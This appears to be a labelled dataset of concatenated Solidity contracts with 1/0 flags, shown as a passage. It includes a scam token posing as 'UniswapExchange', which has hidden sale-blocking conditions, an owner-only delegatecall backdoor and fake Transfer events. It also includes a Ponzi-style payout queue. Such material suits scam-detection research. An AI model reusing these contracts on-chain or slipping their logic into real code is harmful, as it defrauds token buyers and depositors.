function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 3,323 |
pragma solidity ^0.4.24;
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
function createSaleAuction(
uint40 _cutieId,
uint128 _startPrice,
uint128 _endPrice,
uint40 _duration
)
public;
function getApproved(uint256 _tokenId) external returns (address);
}
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.24;
contract MarketInterface
{
function withdrawEthFromBalance() external;
function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public payable;
function bid(uint40 _cutieId) public payable;
function cancelActiveAuctionWhenPaused(uint40 _cutieId) public;
function getAuctionInfo(uint40 _cutieId)
public
view
returns
(
address seller,
uint128 startPrice,
uint128 endPrice,
uint40 duration,
uint40 startedAt,
uint128 featuringFee,
bool tokensAllowed
);
}
pragma solidity ^0.4.24;
contract ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) external
returns (bool success);
function transfer(address _to, uint256 _value) external;
function balanceOf(address _owner) external view returns (uint256);
}
pragma solidity ^0.4.24;
contract PriceOracleInterface {
uint256 public ETHPrice;
}
pragma solidity ^0.4.24;
interface TokenRecipientInterface
{
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract Market is MarketInterface, Pausable, TokenRecipientInterface
{
struct Auction {
uint128 startPrice;
uint128 endPrice;
address seller;
uint40 duration;
uint40 startedAt;
uint128 featuringFee;
bool tokensAllowed;
}
CutieCoreInterface public coreContract;
uint16 public ownerFee;
mapping (uint40 => Auction) public cutieIdToAuction;
mapping (address => PriceOracleInterface) public priceOracle;
address operatorAddress;
event AuctionCreated(uint40 indexed cutieId, uint128 startPrice, uint128 endPrice, uint40 duration, uint128 fee, bool tokensAllowed);
event AuctionSuccessful(uint40 indexed cutieId, uint128 totalPriceWei, address indexed winner);
event AuctionSuccessfulForToken(uint40 indexed cutieId, uint128 totalPriceWei, address indexed winner, uint128 priceInTokens, address indexed token);
event AuctionCancelled(uint40 indexed cutieId);
modifier onlyOperator() {
require(msg.sender == operatorAddress || msg.sender == owner);
_;
}
function setOperator(address _newOperator) public onlyOwner {
require(_newOperator != address(0));
operatorAddress = _newOperator;
}
function() external {}
modifier canBeStoredIn128Bits(uint256 _value)
{
require(_value <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
_;
}
function _addAuction(uint40 _cutieId, Auction _auction) internal
{
require(_auction.duration >= 1 minutes);
cutieIdToAuction[_cutieId] = _auction;
emit AuctionCreated(
_cutieId,
_auction.startPrice,
_auction.endPrice,
_auction.duration,
_auction.featuringFee,
_auction.tokensAllowed
);
}
function _isOwner(address _claimant, uint256 _cutieId) internal view returns (bool)
{
return (coreContract.ownerOf(_cutieId) == _claimant);
}
function _transfer(address _receiver, uint40 _cutieId) internal
{
coreContract.transfer(_receiver, _cutieId);
}
function _escrow(address _owner, uint40 _cutieId) internal
{
coreContract.transferFrom(_owner, this, _cutieId);
}
function _cancelActiveAuction(uint40 _cutieId, address _seller) internal
{
_removeAuction(_cutieId);
_transfer(_seller, _cutieId);
emit AuctionCancelled(_cutieId);
}
function _bid(uint40 _cutieId, uint128 _bidAmount)
internal
returns (uint128)
{
Auction storage auction = cutieIdToAuction[_cutieId];
require(_isOnAuction(auction));
uint128 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_cutieId);
if (price > 0) {
uint128 fee = _computeFee(price);
uint128 sellerValue = price - fee;
seller.transfer(sellerValue);
}
emit AuctionSuccessful(_cutieId, price, msg.sender);
return price;
}
function _removeAuction(uint40 _cutieId) internal
{
delete cutieIdToAuction[_cutieId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool)
{
return (_auction.startedAt > 0);
}
function _computeCurrentPrice(
uint128 _startPrice,
uint128 _endPrice,
uint40 _duration,
uint40 _secondsPassed
)
internal
pure
returns (uint128)
{
if (_secondsPassed >= _duration) {
return _endPrice;
} else {
int256 totalPriceChange = int256(_endPrice) - int256(_startPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
uint128 currentPrice = _startPrice + uint128(currentPriceChange);
return currentPrice;
}
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint128)
{
uint40 secondsPassed = 0;
uint40 timeNow = uint40(now);
if (timeNow > _auction.startedAt) {
secondsPassed = timeNow - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startPrice,
_auction.endPrice,
_auction.duration,
secondsPassed
);
}
function _computeFee(uint128 _price) internal view returns (uint128)
{
return _price * ownerFee / 10000;
}
function withdrawEthFromBalance() external
{
address coreAddress = address(coreContract);
require(
msg.sender == owner ||
msg.sender == coreAddress
);
coreAddress.transfer(address(this).balance);
}
function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller)
public whenNotPaused payable
{
require(_isOwner(msg.sender, _cutieId));
_escrow(msg.sender, _cutieId);
bool allowTokens = _duration < 0x8000000000;
_duration = _duration % 0x8000000000;
Auction memory auction = Auction(
_startPrice,
_endPrice,
_seller,
_duration,
uint40(now),
uint128(msg.value),
allowTokens
);
_addAuction(_cutieId, auction);
}
function setup(address _coreContractAddress, uint16 _fee) public onlyOwner
{
require(_fee <= 10000);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreContractAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
function setFee(uint16 _fee) public onlyOwner
{
require(_fee <= 10000);
ownerFee = _fee;
}
function bid(uint40 _cutieId) public payable whenNotPaused canBeStoredIn128Bits(msg.value)
{
_bid(_cutieId, uint128(msg.value));
_transfer(msg.sender, _cutieId);
}
function getPriceInToken(ERC20 _tokenContract, uint128 priceWei)
public
view
returns (uint128)
{
PriceOracleInterface oracle = priceOracle[address(_tokenContract)];
require(address(oracle) != address(0));
uint256 ethPerToken = oracle.ETHPrice();
int256 power = 36 - _tokenContract.decimals();
require(power > 0);
return uint128(uint256(priceWei) * ethPerToken / (10 ** uint256(power)));
}
function getCutieId(bytes _extraData) pure internal returns (uint40)
{
return
uint40(_extraData[0]) +
uint40(_extraData[1]) * 0x100 +
uint40(_extraData[2]) * 0x10000 +
uint40(_extraData[3]) * 0x100000 +
uint40(_extraData[4]) * 0x10000000;
}
function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes _extraData)
external
canBeStoredIn128Bits(_value)
whenNotPaused
{
ERC20 tokenContract = ERC20(_tokenContract);
require(_extraData.length == 5);
uint40 cutieId = getCutieId(_extraData);
Auction storage auction = cutieIdToAuction[cutieId];
require(auction.tokensAllowed);
require(_isOnAuction(auction));
uint128 priceWei = _currentPrice(auction);
uint128 priceInTokens = getPriceInToken(tokenContract, priceWei);
address seller = auction.seller;
_removeAuction(cutieId);
require(tokenContract.transferFrom(_sender, address(this), priceInTokens));
if (seller != address(coreContract))
{
uint128 fee = _computeFee(priceInTokens);
uint128 sellerValue = priceInTokens - fee;
tokenContract.transfer(seller, sellerValue);
}
emit AuctionSuccessfulForToken(cutieId, priceWei, _sender, priceInTokens, _tokenContract);
_transfer(_sender, cutieId);
}
function getAuctionInfo(uint40 _cutieId)
public
view
returns
(
address seller,
uint128 startPrice,
uint128 endPrice,
uint40 duration,
uint40 startedAt,
uint128 featuringFee,
bool tokensAllowed
) {
Auction storage auction = cutieIdToAuction[_cutieId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startPrice,
auction.endPrice,
auction.duration,
auction.startedAt,
auction.featuringFee,
auction.tokensAllowed
);
}
function isOnAuction(uint40 _cutieId)
public
view
returns (bool)
{
return cutieIdToAuction[_cutieId].startedAt > 0;
}
function getCurrentPrice(uint40 _cutieId)
public
view
returns (uint128)
{
Auction storage auction = cutieIdToAuction[_cutieId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
function cancelActiveAuction(uint40 _cutieId) public
{
Auction storage auction = cutieIdToAuction[_cutieId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelActiveAuction(_cutieId, seller);
}
function cancelActiveAuctionWhenPaused(uint40 _cutieId) whenPaused onlyOwner public
{
Auction storage auction = cutieIdToAuction[_cutieId];
require(_isOnAuction(auction));
_cancelActiveAuction(_cutieId, auction.seller);
}
function cancelCreatorAuction(uint40 _cutieId) public onlyOperator
{
Auction storage auction = cutieIdToAuction[_cutieId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(seller == address(coreContract));
_cancelActiveAuction(_cutieId, msg.sender);
}
function withdrawTokenFromBalance(ERC20 _tokenContract, address _withdrawToAddress) external
{
address coreAddress = address(coreContract);
require(
msg.sender == owner ||
msg.sender == operatorAddress ||
msg.sender == coreAddress
);
uint256 balance = _tokenContract.balanceOf(address(this));
_tokenContract.transfer(_withdrawToAddress, balance);
}
function addToken(ERC20 _tokenContract, PriceOracleInterface _priceOracle) external onlyOwner
{
priceOracle[address(_tokenContract)] = _priceOracle;
}
function removeToken(ERC20 _tokenContract) external onlyOwner
{
delete priceOracle[address(_tokenContract)];
}
}
contract SaleMarket is Market
{
bool public isSaleMarket = true;
function createAuction(
uint40 _cutieId,
uint128 _startPrice,
uint128 _endPrice,
uint40 _duration,
address _seller
)
public
payable
{
require(msg.sender == address(coreContract));
_escrow(_seller, _cutieId);
bool allowTokens = _duration < 0x8000000000;
_duration = _duration % 0x8000000000;
Auction memory auction = Auction(
_startPrice,
_endPrice,
_seller,
_duration,
uint40(now),
uint128(msg.value),
allowTokens
);
_addAuction(_cutieId, auction);
}
function bid(uint40 _cutieId)
public
payable
canBeStoredIn128Bits(msg.value)
{
_bid(_cutieId, uint128(msg.value));
_transfer(msg.sender, _cutieId);
}
}
| 1 | 3,141 |
pragma solidity ^0.4.25;
contract Queue {
address constant private PROMO1 = 0x0569E1777f2a7247D27375DB1c6c2AF9CE9a9C15;
address constant private PROMO2 = 0xF892380E9880Ad0843bB9600D060BA744365EaDf;
address constant private PROMO3 = 0x35aAF2c74F173173d28d1A7ce9d255f639ac1625;
address constant private PRIZE = 0xa93E50526B63760ccB5fAD6F5107FA70d36ABC8b;
uint constant public PROMO_PERCENT = 2;
uint constant public BONUS_PERCENT = 4;
uint256 public constant GAS_PRICE_MAX = 30000000000 wei;
uint startTime = 1541781000;
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
function () public payable {
require(block.timestamp >= startTime);
require(tx.gasprice <= GAS_PRICE_MAX);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.05 ether && msg.value <= 10 ether);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
uint promo1 = msg.value*PROMO_PERCENT/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT/100;
PROMO2.send(promo2);
uint promo3 = msg.value*PROMO_PERCENT/100;
PROMO3.send(promo3);
uint prize = msg.value*BONUS_PERCENT/100;
PRIZE.send(prize);
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = 120;
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
}
| 0 | 1,827 |
pragma solidity ^0.4.10;
contract Custodial {
uint256 constant TWO_128 = 0x100000000000000000000000000000000;
uint256 constant TWO_127 = 0x80000000000000000000000000000000;
address client;
address advisor;
uint256 capital;
uint256 capitalTimestamp;
uint256 feeFactor;
function Custodial (address _client, address _advisor, uint256 _feeFactor) {
if (_feeFactor > TWO_128)
throw;
client = _client;
advisor = _advisor;
feeFactor = _feeFactor;
}
function getCapital (uint256 _currentTime)
constant returns (uint256 _result) {
_result = capital;
if (capital > 0 && capitalTimestamp < _currentTime && feeFactor < TWO_128) {
_result = mul (_result, pow (feeFactor, _currentTime - capitalTimestamp));
}
}
function deposit () payable {
if (msg.value > 0) {
updateCapital ();
if (msg.value >= TWO_128 - capital)
throw;
capital += msg.value;
Deposit (msg.sender, msg.value);
}
}
function withdraw (uint256 _value)
returns (bool _success) {
if (msg.sender != client) throw;
if (_value > 0) {
updateCapital ();
if (_value <= capital) {
if (client.send (_value)) {
Withdrawal (_value);
capital -= _value;
return true;
} else return false;
} else return false;
} else return true;
}
function withdrawAll ()
returns (bool _success) {
if (msg.sender != client) throw;
updateCapital ();
if (capital > 0) {
if (client.send (capital)) {
Withdrawal (capital);
capital = 0;
return true;
} else return false;
} else return true;
}
function withdrawFee ()
returns (bool _success) {
if (msg.sender != advisor) throw;
uint256 _value = this.balance - getCapital (now);
if (_value > 0) {
return advisor.send (_value);
} else return true;
}
function terminate () {
if (msg.sender != advisor) throw;
if (capital > 0) throw;
if (this.balance > 0) {
if (!advisor.send (this.balance)) {
}
}
suicide (advisor);
}
function updateCapital ()
internal {
if (capital > 0 && capitalTimestamp < now && feeFactor < TWO_128) {
capital = mul (capital, pow (feeFactor, now - capitalTimestamp));
}
capitalTimestamp = now;
}
function mul (uint256 _a, uint256 _b)
internal constant returns (uint256 _result) {
if (_a > TWO_128) throw;
if (_b >= TWO_128) throw;
return (_a * _b + TWO_127) >> 128;
}
function pow (uint256 _a, uint256 _b)
internal constant returns (uint256 _result) {
if (_a >= TWO_128) throw;
_result = TWO_128;
while (_b > 0) {
if (_b & 1 == 0) {
_a = mul (_a, _a);
_b >>= 1;
} else {
_result = mul (_result, _a);
_b -= 1;
}
}
}
event Deposit (address indexed from, uint256 value);
event Withdrawal (uint256 value);
}
| 0 | 1,155 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract CareerChainToken is CappedToken(145249999000000000000000000), BurnableToken {
string public name = "CareerChain Token";
string public symbol = "CCH";
uint8 public decimals = 18;
function burn(uint256 _value) public onlyOwner {
_burn(msg.sender, _value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
